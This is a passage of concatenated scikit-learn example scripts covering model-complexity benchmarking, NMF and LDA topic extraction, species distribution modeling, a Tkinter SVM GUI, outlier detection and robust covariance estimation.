        prediction_times.append(elapsed_time)
        pred_score = conf['prediction_performance_computer'](
            conf['data']['y_test'], y_pred)
        prediction_powers.append(pred_score)
        print("Complexity: %d | %s: %.4f | Pred. Time: %fs\n" % (
            complexity, conf['prediction_performance_label'], pred_score,
            elapsed_time))
    return prediction_powers, prediction_times, complexities


def plot_influence(conf, mse_values, prediction_times, complexities):
    """
    Plot influence of model complexity on both accuracy and latency.
    """
    plt.figure(figsize=(12, 6))
    host = host_subplot(111, axes_class=Axes)
    plt.subplots_adjust(right=0.75)
    par1 = host.twinx()
    host.set_xlabel('Model Complexity (%s)' % conf['complexity_label'])
    y1_label = conf['prediction_performance_label']
    y2_label = "Time (s)"
    host.set_ylabel(y1_label)
    par1.set_ylabel(y2_label)
    p1, = host.plot(complexities, mse_values, 'b-', label="prediction error")
    p2, = par1.plot(complexities, prediction_times, 'r-',
                    label="latency")
    host.legend(loc='upper right')
    host.axis["left"].label.set_color(p1.get_color())
    par1.axis["right"].label.set_color(p2.get_color())
    plt.title('Influence of Model Complexity - %s' % conf['estimator'].__name__)
    plt.show()


def _count_nonzero_coefficients(estimator):
    a = estimator.coef_.toarray()
    return np.count_nonzero(a)

###############################################################################
# main code
regression_data = generate_data('regression')
classification_data = generate_data('classification', sparse=True)
configurations = [
    {'estimator': SGDClassifier,
     'tuned_params': {'penalty': 'elasticnet', 'alpha': 0.001, 'loss':
                      'modified_huber', 'fit_intercept': True},
     'changing_param': 'l1_ratio',
     'changing_param_values': [0.25, 0.5, 0.75, 0.9],
     'complexity_label': 'non_zero coefficients',
     'complexity_computer': _count_nonzero_coefficients,
     'prediction_performance_computer': hamming_loss,
     'prediction_performance_label': 'Hamming Loss (Misclassification Ratio)',
     'postfit_hook': lambda x: x.sparsify(),
     'data': classification_data,
     'n_samples': 30},
    {'estimator': NuSVR,
     'tuned_params': {'C': 1e3, 'gamma': 2 ** -15},
     'changing_param': 'nu',
     'changing_param_values': [0.1, 0.25, 0.5, 0.75, 0.9],
     'complexity_label': 'n_support_vectors',
     'complexity_computer': lambda x: len(x.support_vectors_),
     'data': regression_data,
     'postfit_hook': lambda x: x,
     'prediction_performance_computer': mean_squared_error,
     'prediction_performance_label': 'MSE',
     'n_samples': 30},
    {'estimator': GradientBoostingRegressor,
     'tuned_params': {'loss': 'ls'},
     'changing_param': 'n_estimators',
     'changing_param_values': [10, 50, 100, 200, 500],
     'complexity_label': 'n_trees',
     'complexity_computer': lambda x: x.n_estimators,
     'data': regression_data,
     'postfit_hook': lambda x: x,
     'prediction_performance_computer': mean_squared_error,
     'prediction_performance_label': 'MSE',
     'n_samples': 30},
]
for conf in configurations:
    prediction_performances, prediction_times, complexities = \
        benchmark_influence(conf)
    plot_influence(conf, prediction_performances, prediction_times,
                   complexities)






"""
=======================================================================================
Topic extraction with Non-negative Matrix Factorization and Latent Dirichlet Allocation
=======================================================================================

This is an example of applying Non-negative Matrix Factorization
and Latent Dirichlet Allocation on a corpus of documents and
extract additive models of the topic structure of the corpus.
The output is a list of topics, each represented as a list of terms
(weights are not shown).

The default parameters (n_samples / n_features / n_topics) should make
the example runnable in a couple of tens of seconds. You can try to
increase the dimensions of the problem, but be aware that the time
complexity is polynomial in NMF. In LDA, the time complexity is
proportional to (n_samples * iterations).
"""

# Author: Olivier Grisel <olivier.grisel@ensta.org>
#         Lars Buitinck
#         Chyi-Kwei Yau <chyikwei.yau@gmail.com>
# License: BSD 3 clause

from __future__ import print_function
from time import time

from sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer
from sklearn.decomposition import NMF, LatentDirichletAllocation
from sklearn.datasets import fetch_20newsgroups

n_samples = 2000
n_features = 1000
n_topics = 10
n_top_words = 20


def print_top_words(model, feature_names, n_top_words):
    for topic_idx, topic in enumerate(model.components_):
        print("Topic #%d:" % topic_idx)
        print(" ".join([feature_names[i]
                        for i in topic.argsort()[:-n_top_words - 1:-1]]))
    print()


# Load the 20 newsgroups dataset and vectorize it. We use a few heuristics
# to filter out useless terms early on: the posts are stripped of headers,
# footers and quoted replies, and common English words, words occurring in
# only one document or in at least 95% of the documents are removed.

print("Loading dataset...")
t0 = time()
dataset = fetch_20newsgroups(shuffle=True, random_state=1,
                             remove=('headers', 'footers', 'quotes'))
data_samples = dataset.data[:n_samples]
print("done in %0.3fs." % (time() - t0))

# Use tf-idf features for NMF.
print("Extracting tf-idf features for NMF...")
tfidf_vectorizer = TfidfVectorizer(max_df=0.95, min_df=2,
                                   max_features=n_features,
                                   stop_words='english')
t0 = time()
tfidf = tfidf_vectorizer.fit_transform(data_samples)
print("done in %0.3fs." % (time() - t0))

# Use tf (raw term count) features for LDA.
print("Extracting tf features for LDA...")
tf_vectorizer = CountVectorizer(max_df=0.95, min_df=2,
                                max_features=n_features,
                                stop_words='english')
t0 = time()
tf = tf_vectorizer.fit_transform(data_samples)
print("done in %0.3fs." % (time() - t0))

# Fit the NMF model
print("Fitting the NMF model with tf-idf features, "
      "n_samples=%d and n_features=%d..."
      % (n_samples, n_features))
t0 = time()
nmf = NMF(n_components=n_topics, random_state=1,
          alpha=.1, l1_ratio=.5).fit(tfidf)
print("done in %0.3fs." % (time() - t0))

print("\nTopics in NMF model:")
tfidf_feature_names = tfidf_vectorizer.get_feature_names()
print_top_words(nmf, tfidf_feature_names, n_top_words)

print("Fitting LDA models with tf features, "
      "n_samples=%d and n_features=%d..."
      % (n_samples, n_features))
lda = LatentDirichletAllocation(n_topics=n_topics, max_iter=5,
                                learning_method='online',
                                learning_offset=50.,
                                random_state=0)
t0 = time()
lda.fit(tf)
print("done in %0.3fs." % (time() - t0))

print("\nTopics in LDA model:")
tf_feature_names = tf_vectorizer.get_feature_names()
print_top_words(lda, tf_feature_names, n_top_words)






"""
=============================
Species distribution modeling
=============================

Modeling species' geographic distributions is an important
problem in conservation biology. In this example we
model the geographic distribution of two south american
mammals given past observations and 14 environmental
variables. Since we have only positive examples (there are
no unsuccessful observations), we cast this problem as a
density estimation problem and use the `OneClassSVM` provided
by the package `sklearn.svm` as our modeling tool.
The dataset is provided by Phillips et. al. (2006).
If available, the example uses
`basemap <http://matplotlib.org/basemap>`_
to plot the coast lines and national boundaries of South America.

The two species are:

 - `"Bradypus variegatus"
   <http://www.iucnredlist.org/details/3038/0>`_ ,
   the Brown-throated Sloth.

 - `"Microryzomys minutus"
   <http://www.iucnredlist.org/details/13408/0>`_ ,
   also known as the Forest Small Rice Rat, a rodent that lives in Peru,
   Colombia, Ecuador, Peru, and Venezuela.

References
----------

 * `"Maximum entropy modeling of species geographic distributions"
   <http://www.cs.princeton.edu/~schapire/papers/ecolmod.pdf>`_
   S. J. Phillips, R. P. Anderson, R. E. Schapire - Ecological Modelling,
   190:231-259, 2006.
"""

# Authors: Peter Prettenhofer <peter.prettenhofer@gmail.com>
#          Jake Vanderplas <vanderplas@astro.washington.edu>
#
# License: BSD 3 clause

from __future__ import print_function

from time import time

import numpy as np
import matplotlib.pyplot as plt

from sklearn.datasets.base import Bunch
from sklearn.datasets import fetch_species_distributions
from sklearn.datasets.species_distributions import construct_grids
from sklearn import svm, metrics

# if basemap is available, we'll use it.
# otherwise, we'll improvise later...
try:
    from mpl_toolkits.basemap import Basemap
    basemap = True
except ImportError:
    basemap = False

print(__doc__)


def create_species_bunch(species_name, train, test, coverages, xgrid, ygrid):
    """Create a bunch with information about a particular organism

    This will use the test/train record arrays to extract the
    data specific to the given species name.
    """
    bunch = Bunch(name=' '.join(species_name.split("_")[:2]))
    species_name = species_name.encode('ascii')
    points = dict(test=test, train=train)

    for label, pts in points.items():
        # choose points associated with the desired species
        pts = pts[pts['species'] == species_name]
        bunch['pts_%s' % label] = pts

        # determine coverage values for each of the training & testing points
        ix = np.searchsorted(xgrid, pts['dd long'])
        iy = np.searchsorted(ygrid, pts['dd lat'])
        bunch['cov_%s' % label] = coverages[:, -iy, ix].T

    return bunch


def plot_species_distribution(species=("bradypus_variegatus_0",
                                       "microryzomys_minutus_0")):
    """
    Plot the species distribution.
    """
    if len(species) > 2:
        print("Note: when more than two species are provided,"
              " only the first two will be used")

    t0 = time()

    # Load the compressed data
    data = fetch_species_distributions()

    # Set up the data grid
    xgrid, ygrid = construct_grids(data)

    # The grid in x,y coordinates
    X, Y = np.meshgrid(xgrid, ygrid[::-1])

    # create a bunch for each species
    BV_bunch = create_species_bunch(species[0],
                                    data.train, data.test,
                                    data.coverages, xgrid, ygrid)
    MM_bunch = create_species_bunch(species[1],
                                    data.train, data.test,
                                    data.coverages, xgrid, ygrid)

    # background points (grid coordinates) for evaluation
    np.random.seed(13)
    background_points = np.c_[np.random.randint(low=0, high=data.Ny,
                                                size=10000),
                              np.random.randint(low=0, high=data.Nx,
                                                size=10000)].T

    # We'll make use of the fact that coverages[6] has measurements at all
    # land points.  This will help us decide between land and water.
    land_reference = data.coverages[6]

    # Fit, predict, and plot for each species.
    for i, species in enumerate([BV_bunch, MM_bunch]):
        print("_" * 80)
        print("Modeling distribution of species '%s'" % species.name)

        # Standardize features
        mean = species.cov_train.mean(axis=0)
        std = species.cov_train.std(axis=0)
        train_cover_std = (species.cov_train - mean) / std

        # Fit OneClassSVM
        print(" - fit OneClassSVM ... ", end='')
        clf = svm.OneClassSVM(nu=0.1, kernel="rbf", gamma=0.5)
        clf.fit(train_cover_std)
        print("done.")

        # Plot map of South America
        plt.subplot(1, 2, i + 1)
        if basemap:
            print(" - plot coastlines using basemap")
            m = Basemap(projection='cyl', llcrnrlat=Y.min(),
                        urcrnrlat=Y.max(), llcrnrlon=X.min(),
                        urcrnrlon=X.max(), resolution='c')
            m.drawcoastlines()
            m.drawcountries()
        else:
            print(" - plot coastlines from coverage")
            plt.contour(X, Y, land_reference,
                        levels=[-9999], colors="k",
                        linestyles="solid")
            plt.xticks([])
            plt.yticks([])

        print(" - predict species distribution")

        # Predict species distribution using the training data
        Z = np.ones((data.Ny, data.Nx), dtype=np.float64)

        # We'll predict only for the land points.
        idx = np.where(land_reference > -9999)
        coverages_land = data.coverages[:, idx[0], idx[1]].T

        pred = clf.decision_function((coverages_land - mean) / std)[:, 0]
        Z *= pred.min()
        Z[idx[0], idx[1]] = pred

        levels = np.linspace(Z.min(), Z.max(), 25)
        Z[land_reference == -9999] = -9999

        # plot contours of the prediction
        plt.contourf(X, Y, Z, levels=levels, cmap=plt.cm.Reds)
        plt.colorbar(format='%.2f')

        # scatter training/testing points
        plt.scatter(species.pts_train['dd long'], species.pts_train['dd lat'],
                    s=2 ** 2, c='black',
                    marker='^', label='train')
        plt.scatter(species.pts_test['dd long'], species.pts_test['dd lat'],
                    s=2 ** 2, c='black',
                    marker='x', label='test')
        plt.legend()
        plt.title(species.name)
        plt.axis('equal')

        # Compute AUC with regards to background points
        pred_background = Z[background_points[0], background_points[1]]
        pred_test = clf.decision_function((species.cov_test - mean)
                                          / std)[:, 0]
        scores = np.r_[pred_test, pred_background]
        y = np.r_[np.ones(pred_test.shape), np.zeros(pred_background.shape)]
        fpr, tpr, thresholds = metrics.roc_curve(y, scores)
        roc_auc = metrics.auc(fpr, tpr)
        plt.text(-35, -70, "AUC: %.3f" % roc_auc, ha="right")
        print("\n Area under the ROC curve : %f" % roc_auc)

    print("\ntime elapsed: %.2fs" % (time() - t0))


plot_species_distribution()
plt.show()






"""
==========
Libsvm GUI
==========

A simple graphical frontend for Libsvm mainly intended for didactic
purposes. You can create data points by point and click and visualize
the decision region induced by different kernels and parameter settings.

To create positive examples click the left mouse button; to create
negative examples click the right button.

If all examples are from the same class, it uses a one-class SVM.

"""
from __future__ import division, print_function

print(__doc__)

# Author: Peter Prettenhoer <peter.prettenhofer@gmail.com>
#
# License: BSD 3 clause

import matplotlib
matplotlib.use('TkAgg')

from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg
from matplotlib.backends.backend_tkagg import NavigationToolbar2TkAgg
from matplotlib.figure import Figure
from matplotlib.contour import ContourSet

try:
    import tkinter as Tk
except ImportError:
    # Backward compat for Python 2
    import Tkinter as Tk

import sys
import numpy as np

from sklearn import svm
from sklearn.datasets import dump_svmlight_file
from sklearn.externals.six.moves import xrange

y_min, y_max = -50, 50
x_min, x_max = -50, 50


class Model(object):
    """The Model which hold the data. It implements the
    observable in the observer pattern and notifies the
    registered observers on change event.
    """

    def __init__(self):
        self.observers = []
        self.surface = None
        self.data = []
        self.cls = None
        self.surface_type = 0

    def changed(self, event):
        """Notify the observers. """
        for observer in self.observers:
            observer.update(event, self)

    def add_observer(self, observer):
        """Register an observer. """
        self.observers.append(observer)

    def set_surface(self, surface):
        self.surface = surface

    def dump_svmlight_file(self, file):
        data = np.array(self.data)
        X = data[:, 0:2]
        y = data[:, 2]
        dump_svmlight_file(X, y, file)


class Controller(object):
    def __init__(self, model):
        self.model = model
        self.kernel = Tk.IntVar()
        self.surface_type = Tk.IntVar()
        # Whether or not a model has been fitted
        self.fitted = False

    def fit(self):
        print("fit the model")
        train = np.array(self.model.data)
        X = train[:, 0:2]
        y = train[:, 2]

        C = float(self.complexity.get())
        gamma = float(self.gamma.get())
        coef0 = float(self.coef0.get())
        degree = int(self.degree.get())
        kernel_map = {0: "linear", 1: "rbf", 2: "poly"}
        if len(np.unique(y)) == 1:
            clf = svm.OneClassSVM(kernel=kernel_map[self.kernel.get()],
                                  gamma=gamma, coef0=coef0, degree=degree)
            clf.fit(X)
        else:
            clf = svm.SVC(kernel=kernel_map[self.kernel.get()], C=C,
                          gamma=gamma, coef0=coef0, degree=degree)
            clf.fit(X, y)
        if hasattr(clf, 'score'):
            print("Accuracy:", clf.score(X, y) * 100)
        X1, X2, Z = self.decision_surface(clf)
        self.model.clf = clf
        self.model.set_surface((X1, X2, Z))
        self.model.surface_type = self.surface_type.get()
        self.fitted = True
        self.model.changed("surface")

    def decision_surface(self, cls):
        delta = 1
        x = np.arange(x_min, x_max + delta, delta)
        y = np.arange(y_min, y_max + delta, delta)
        X1, X2 = np.meshgrid(x, y)
        Z = cls.decision_function(np.c_[X1.ravel(), X2.ravel()])
        Z = Z.reshape(X1.shape)
        return X1, X2, Z

    def clear_data(self):
        self.model.data = []
        self.fitted = False
        self.model.changed("clear")

    def add_example(self, x, y, label):
        self.model.data.append((x, y, label))
        self.model.changed("example_added")

        # update decision surface if already fitted.
        self.refit()

    def refit(self):
        """Refit the model if already fitted. """
        if self.fitted:
            self.fit()


class View(object):
    """Test docstring. """
    def __init__(self, root, controller):
        f = Figure()
        ax = f.add_subplot(111)
        ax.set_xticks([])
        ax.set_yticks([])
        ax.set_xlim((x_min, x_max))
        ax.set_ylim((y_min, y_max))
        canvas = FigureCanvasTkAgg(f, master=root)
        canvas.show()
        canvas.get_tk_widget().pack(side=Tk.TOP, fill=Tk.BOTH, expand=1)
        canvas._tkcanvas.pack(side=Tk.TOP, fill=Tk.BOTH, expand=1)
        canvas.mpl_connect('button_press_event', self.onclick)
        toolbar = NavigationToolbar2TkAgg(canvas, root)
        toolbar.update()
        self.controllbar = ControllBar(root, controller)
        self.f = f
        self.ax = ax
        self.canvas = canvas
        self.controller = controller
        self.contours = []
        self.c_labels = None
        self.plot_kernels()

    def plot_kernels(self):
        self.ax.text(-50, -60, "Linear: $u^T v$")
        self.ax.text(-20, -60, "RBF: $\exp (-\gamma \| u-v \|^2)$")
        self.ax.text(10, -60, "Poly: $(\gamma \, u^T v + r)^d$")

    def onclick(self, event):
        if event.xdata and event.ydata:
            if event.button == 1:
                self.controller.add_example(event.xdata, event.ydata, 1)
            elif event.button == 3:
                self.controller.add_example(event.xdata, event.ydata, -1)

    def update_example(self, model, idx):
        x, y, l = model.data[idx]
        if l == 1:
            color = 'w'
        elif l == -1:
            color = 'k'
        self.ax.plot([x], [y], "%so" % color, scalex=0.0, scaley=0.0)

    def update(self, event, model):
        if event == "examples_loaded":
            for i in xrange(len(model.data)):
                self.update_example(model, i)

        if event == "example_added":
            self.update_example(model, -1)

        if event == "clear":
            self.ax.clear()
            self.ax.set_xticks([])
            self.ax.set_yticks([])
            self.contours = []
            self.c_labels = None
            self.plot_kernels()

        if event == "surface":
            self.remove_surface()
            self.plot_support_vectors(model.clf.support_vectors_)
            self.plot_decision_surface(model.surface, model.surface_type)

        self.canvas.draw()

    def remove_surface(self):
        """Remove old decision surface."""
        if len(self.contours) > 0:
            for contour in self.contours:
                if isinstance(contour, ContourSet):
                    for lineset in contour.collections:
                        lineset.remove()
                else:
                    contour.remove()
            self.contours = []

    def plot_support_vectors(self, support_vectors):
        """Plot the support vectors by placing circles over the
        corresponding data points and adds the circle collection
        to the contours list."""
        cs = self.ax.scatter(support_vectors[:, 0], support_vectors[:, 1],
                             s=80, edgecolors="k", facecolors="none")
        self.contours.append(cs)

    def plot_decision_surface(self, surface, type):
        X1, X2, Z = surface
        if type == 0:
            levels = [-1.0, 0.0, 1.0]
            linestyles = ['dashed', 'solid', 'dashed']
            colors = 'k'
            self.contours.append(self.ax.contour(X1, X2, Z, levels,
                                                 colors=colors,
                                                 linestyles=linestyles))
        elif type == 1:
            self.contours.append(self.ax.contourf(X1, X2, Z, 10,
                                                  cmap=matplotlib.cm.bone,
                                                  origin='lower', alpha=0.85))
            self.contours.append(self.ax.contour(X1, X2, Z, [0.0], colors='k',
                                                 linestyles=['solid']))
        else:
            raise ValueError("surface type unknown")


class ControllBar(object):
    def __init__(self, root, controller):
        fm = Tk.Frame(root)
        kernel_group = Tk.Frame(fm)
        Tk.Radiobutton(kernel_group, text="Linear", variable=controller.kernel,
                       value=0, command=controller.refit).pack(anchor=Tk.W)
        Tk.Radiobutton(kernel_group, text="RBF", variable=controller.kernel,
                       value=1, command=controller.refit).pack(anchor=Tk.W)
        Tk.Radiobutton(kernel_group, text="Poly", variable=controller.kernel,
                       value=2, command=controller.refit).pack(anchor=Tk.W)
        kernel_group.pack(side=Tk.LEFT)

        valbox = Tk.Frame(fm)
        controller.complexity = Tk.StringVar()
        controller.complexity.set("1.0")
        c = Tk.Frame(valbox)
        Tk.Label(c, text="C:", anchor="e", width=7).pack(side=Tk.LEFT)
        Tk.Entry(c, width=6, textvariable=controller.complexity).pack(
            side=Tk.LEFT)
        c.pack()

        controller.gamma = Tk.StringVar()
        controller.gamma.set("0.01")
        g = Tk.Frame(valbox)
        Tk.Label(g, text="gamma:", anchor="e", width=7).pack(side=Tk.LEFT)
        Tk.Entry(g, width=6, textvariable=controller.gamma).pack(side=Tk.LEFT)
        g.pack()

        controller.degree = Tk.StringVar()
        controller.degree.set("3")
        d = Tk.Frame(valbox)
        Tk.Label(d, text="degree:", anchor="e", width=7).pack(side=Tk.LEFT)
        Tk.Entry(d, width=6, textvariable=controller.degree).pack(side=Tk.LEFT)
        d.pack()

        controller.coef0 = Tk.StringVar()
        controller.coef0.set("0")
        r = Tk.Frame(valbox)
        Tk.Label(r, text="coef0:", anchor="e", width=7).pack(side=Tk.LEFT)
        Tk.Entry(r, width=6, textvariable=controller.coef0).pack(side=Tk.LEFT)
        r.pack()
        valbox.pack(side=Tk.LEFT)

        cmap_group = Tk.Frame(fm)
        Tk.Radiobutton(cmap_group, text="Hyperplanes",
                       variable=controller.surface_type, value=0,
                       command=controller.refit).pack(anchor=Tk.W)
        Tk.Radiobutton(cmap_group, text="Surface",
                       variable=controller.surface_type, value=1,
                       command=controller.refit).pack(anchor=Tk.W)

        cmap_group.pack(side=Tk.LEFT)

        train_button = Tk.Button(fm, text='Fit', width=5,
                                 command=controller.fit)
        train_button.pack()
        fm.pack(side=Tk.LEFT)
        Tk.Button(fm, text='Clear', width=5,
                  command=controller.clear_data).pack(side=Tk.LEFT)


def get_parser():
    from optparse import OptionParser
    op = OptionParser()
    op.add_option("--output",
                  action="store", type="str", dest="output",
                  help="Path where to dump data.")
    return op


def main(argv):
    op = get_parser()
    opts, args = op.parse_args(argv[1:])
    root = Tk.Tk()
    model = Model()
    controller = Controller(model)
    root.wm_title("Scikit-learn Libsvm GUI")
    view = View(root, controller)
    model.add_observer(view)
    Tk.mainloop()

    if opts.output:
        model.dump_svmlight_file(opts.output)

if __name__ == "__main__":
    main(sys.argv)






"""
==========================================
Outlier detection with several methods.
==========================================

When the amount of contamination is known, this example illustrates three
different ways of performing :ref:`outlier_detection`:

- based on a robust estimator of covariance, which is assuming that the
  data are Gaussian distributed and performs better than the One-Class SVM
  in that case.

- using the One-Class SVM and its ability to capture the shape of the
  data set, hence performing better when the data is strongly
  non-Gaussian, i.e. with two well-separated clusters;

- using the Isolation Forest algorithm, which is based on random forests and
  hence more adapted to large-dimensional settings, even if it performs
  quite well in the examples below.

The ground truth about inliers and outliers is given by the points colors
while the orange-filled area indicates which points are reported as inliers
by each method.

Here, we assume that we know the fraction of outliers in the datasets.
Thus rather than using the 'predict' method of the objects, we set the
threshold on the decision_function to separate out the corresponding
fraction.
"""
print(__doc__)

import numpy as np
from scipy import stats
import matplotlib.pyplot as plt
import matplotlib.font_manager

from sklearn import svm
from sklearn.covariance import EllipticEnvelope
from sklearn.ensemble import IsolationForest

rng = np.random.RandomState(42)

# Example settings
n_samples = 200
outliers_fraction = 0.25
clusters_separation = [0, 1, 2]

# define two outlier detection tools to be compared
classifiers = {
    "One-Class SVM": svm.OneClassSVM(nu=0.95 * outliers_fraction + 0.05,
                                     kernel="rbf", gamma=0.1),
    "Robust covariance": EllipticEnvelope(contamination=outliers_fraction),
    "Isolation Forest": IsolationForest(max_samples=n_samples,
                                        contamination=outliers_fraction,
                                        random_state=rng)}

# Compare given classifiers under given settings
xx, yy = np.meshgrid(np.linspace(-7, 7, 500), np.linspace(-7, 7, 500))
n_inliers = int((1. - outliers_fraction) * n_samples)
n_outliers = int(outliers_fraction * n_samples)
ground_truth = np.ones(n_samples, dtype=int)
ground_truth[-n_outliers:] = -1

# Fit the problem with varying cluster separation
for i, offset in enumerate(clusters_separation):
    np.random.seed(42)
    # Data generation
    X1 = 0.3 * np.random.randn(n_inliers // 2, 2) - offset
    X2 = 0.3 * np.random.randn(n_inliers // 2, 2) + offset
    X = np.r_[X1, X2]
    # Add outliers
    X = np.r_[X, np.random.uniform(low=-6, high=6, size=(n_outliers, 2))]

    # Fit the model
    plt.figure(figsize=(10.8, 3.6))
    for i, (clf_name, clf) in enumerate(classifiers.items()):
        # fit the data and tag outliers
        clf.fit(X)
        scores_pred = clf.decision_function(X)
        threshold = stats.scoreatpercentile(scores_pred,
                                            100 * outliers_fraction)
        y_pred = clf.predict(X)
        n_errors = (y_pred != ground_truth).sum()
        # plot the levels lines and the points
        Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
        Z = Z.reshape(xx.shape)
        subplot = plt.subplot(1, 3, i + 1)
        subplot.contourf(xx, yy, Z, levels=np.linspace(Z.min(), threshold, 7),
                         cmap=plt.cm.Blues_r)
        a = subplot.contour(xx, yy, Z, levels=[threshold],
                            linewidths=2, colors='red')
        subplot.contourf(xx, yy, Z, levels=[threshold, Z.max()],
                         colors='orange')
        b = subplot.scatter(X[:-n_outliers, 0], X[:-n_outliers, 1], c='white')
        c = subplot.scatter(X[-n_outliers:, 0], X[-n_outliers:, 1], c='black')
        subplot.axis('tight')
        subplot.legend(
            [a.collections[0], b, c],
            ['learned decision function', 'true inliers', 'true outliers'],
            prop=matplotlib.font_manager.FontProperties(size=11),
            loc='lower right')
        subplot.set_title("%d. %s (errors: %d)" % (i + 1, clf_name, n_errors))
        subplot.set_xlim((-7, 7))
        subplot.set_ylim((-7, 7))
    plt.subplots_adjust(0.04, 0.1, 0.96, 0.92, 0.1, 0.26)

plt.show()






r"""
=======================================
Robust vs Empirical covariance estimate
=======================================

The usual covariance maximum likelihood estimate is very sensitive to the
presence of outliers in the data set. In such a case, it would be better to
use a robust estimator of covariance to guarantee that the estimation is
resistant to "erroneous" observations in the data set.

Minimum Covariance Determinant Estimator
----------------------------------------
The Minimum Covariance Determinant estimator is a robust, high-breakdown point
(i.e. it can be used to estimate the covariance matrix of highly contaminated
datasets, up to
:math:`\frac{n_\text{samples} - n_\text{features}-1}{2}` outliers) estimator of
covariance. The idea is to find
:math:`\frac{n_\text{samples} + n_\text{features}+1}{2}`
observations whose empirical covariance has the smallest determinant, yielding
a "pure" subset of observations from which to compute standards estimates of
location and covariance. After a correction step aiming at compensating the
fact that the estimates were learned from only a portion of the initial data,
we end up with robust estimates of the data set location and covariance.

The Minimum Covariance Determinant estimator (MCD) has been introduced by
P.J.Rousseuw in [1]_.

Evaluation
----------
In this example, we compare the estimation errors that are made when using
various types of location and covariance estimates on contaminated Gaussian
distributed data sets:

- The mean and the empirical covariance of the full dataset, which break
  down as soon as there are outliers in the data set
- The robust MCD, that has a low error provided
  :math:`n_\text{samples} > 5n_\text{features}`
- The mean and the empirical covariance of the observations that are known
  to be good ones. This can be considered as a "perfect" MCD estimation,
  so one can trust our implementation by comparing to this case.


References
----------
.. [1] P. J. Rousseeuw. Least median of squares regression. Journal of American
    Statistical Ass., 79:871, 1984.
.. [2] Johanna Hardin, David M Rocke. The distribution of robust distances.
    Journal of Computational and Graphical Statistics. December 1, 2005,
    14(4): 928-946.
.. [3] Zoubir A., Koivunen V., Chakhchoukh Y. and Muma M. (2012). Robust
    estimation in signal processing: A tutorial-style treatment of
    fundamental concepts. IEEE Signal Processing Magazine 29(4), 61-80.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
import matplotlib.font_manager

from sklearn.covariance import EmpiricalCovariance, MinCovDet

# example settings
n_samples = 80
n_features = 5
repeat = 10

range_n_outliers = np.concatenate(
    (np.linspace(0, n_samples / 8, 5),
     np.linspace(n_samples / 8, n_samples / 2, 5)[1:-1]))

# definition of arrays to store results
err_loc_mcd = np.zeros((range_n_outliers.size, repeat))
err_cov_mcd = np.zeros((range_n_outliers.size, repeat))
err_loc_emp_full = np.zeros((range_n_outliers.size, repeat))
err_cov_emp_full = np.zeros((range_n_outliers.size, repeat))
err_loc_emp_pure = np.zeros((range_n_outliers.size, repeat))
err_cov_emp_pure = np.zeros((range_n_outliers.size, repeat))

# computation
for i, n_outliers in enumerate(range_n_outliers):
    for j in range(repeat):

        rng = np.random.RandomState(i * j)

        # generate data
        X = rng.randn(n_samples, n_features)
        # add some outliers
        outliers_index = rng.permutation(n_samples)[:n_outliers]
        outliers_offset = 10. * \
            (np.random.randint(2, size=(n_outliers, n_features)) - 0.5)
        X[outliers_index] += outliers_offset
        inliers_mask = np.ones(n_samples).astype(bool)
        inliers_mask[outliers_index] = False

        # fit a Minimum Covariance Determinant (MCD) robust estimator to data
        mcd = MinCovDet().fit(X)
        # compare raw robust estimates with the true location and covariance
        err_loc_mcd[i, j] = np.sum(mcd.location_ ** 2)
        err_cov_mcd[i, j] = mcd.error_norm(np.eye(n_features))

        # compare estimators learned from the full data set with true
        # parameters
        err_loc_emp_full[i, j] = np.sum(X.mean(0) ** 2)
        err_cov_emp_full[i, j] = EmpiricalCovariance().fit(X).error_norm(
            np.eye(n_features))

        # compare with an empirical covariance learned from a pure data set
        # (i.e. "perfect" mcd)
        pure_X = X[inliers_mask]
        pure_location = pure_X.mean(0)
        pure_emp_cov = EmpiricalCovariance().fit(pure_X)
        err_loc_emp_pure[i, j] = np.sum(pure_location ** 2)
        err_cov_emp_pure[i, j] = pure_emp_cov.error_norm(np.eye(n_features))

# Display results
font_prop = matplotlib.font_manager.FontProperties(size=11)
plt.subplot(2, 1, 1)
lw = 2
plt.errorbar(range_n_outliers, err_loc_mcd.mean(1),
             yerr=err_loc_mcd.std(1) / np.sqrt(repeat),
             label="Robust location", lw=lw, color='m')
plt.errorbar(range_n_outliers, err_loc_emp_full.mean(1),
             yerr=err_loc_emp_full.std(1) / np.sqrt(repeat),
             label="Full data set mean", lw=lw, color='green')
plt.errorbar(range_n_outliers, err_loc_emp_pure.mean(1),
             yerr=err_loc_emp_pure.std(1) / np.sqrt(repeat),
             label="Pure data set mean", lw=lw, color='black')
plt.title("Influence of outliers on the location estimation")
plt.ylabel(r"Error ($||\mu - \hat{\mu}||_2^2$)")
plt.legend(loc="upper left", prop=font_prop)

plt.subplot(2, 1, 2)
x_size = range_n_outliers.size
plt.errorbar(range_n_outliers, err_cov_mcd.mean(1),
             yerr=err_cov_mcd.std(1),
             label="Robust covariance (mcd)", color='m')
plt.errorbar(range_n_outliers[:(x_size / 5 + 1)],
             err_cov_emp_full.mean(1)[:(x_size / 5 + 1)],
             yerr=err_cov_emp_full.std(1)[:(x_size / 5 + 1)],
             label="Full data set empirical covariance", color='green')
plt.plot(range_n_outliers[(x_size / 5):(x_size / 2 - 1)],
         err_cov_emp_full.mean(1)[(x_size / 5):(x_size / 2 - 1)], color='green',
         ls='--')
plt.errorbar(range_n_outliers, err_cov_emp_pure.mean(1),
             yerr=err_cov_emp_pure.std(1),
             label="Pure data set empirical covariance", color='black')
plt.title("Influence of outliers on the covariance estimation")
plt.xlabel("Amount of contamination (%)")
plt.ylabel("RMSE")
plt.legend(loc="upper center", prop=font_prop)

plt.show()






"""
======================================
Sparse inverse covariance estimation
======================================

Using the GraphLasso estimator to learn a covariance and sparse precision
from a small number of samples.

To estimate a probabilistic model (e.g. a Gaussian model), estimating the
precision matrix, that is the inverse covariance matrix, is as important
as estimating the covariance matrix. Indeed a Gaussian model is
parametrized by the precision matrix.

To be in favorable recovery conditions, we sample the data from a model
with a sparse inverse covariance matrix. In addition, we ensure that the
data is not too much correlated (limiting the largest coefficient of the
precision matrix) and that there a no small coefficients in the
precision matrix that cannot be recovered. In addition, with a small
number of observations, it is easier to recover a correlation matrix
rather than a covariance, thus we scale the time series.

Here, the number of samples is slightly larger than the number of
dimensions, thus the empirical covariance is still invertible. However,
as the observations are strongly correlated, the empirical covariance
matrix is ill-conditioned and as a result its inverse --the empirical
precision matrix-- is very far from the ground truth.

If we use l2 shrinkage, as with the Ledoit-Wolf estimator, as the number
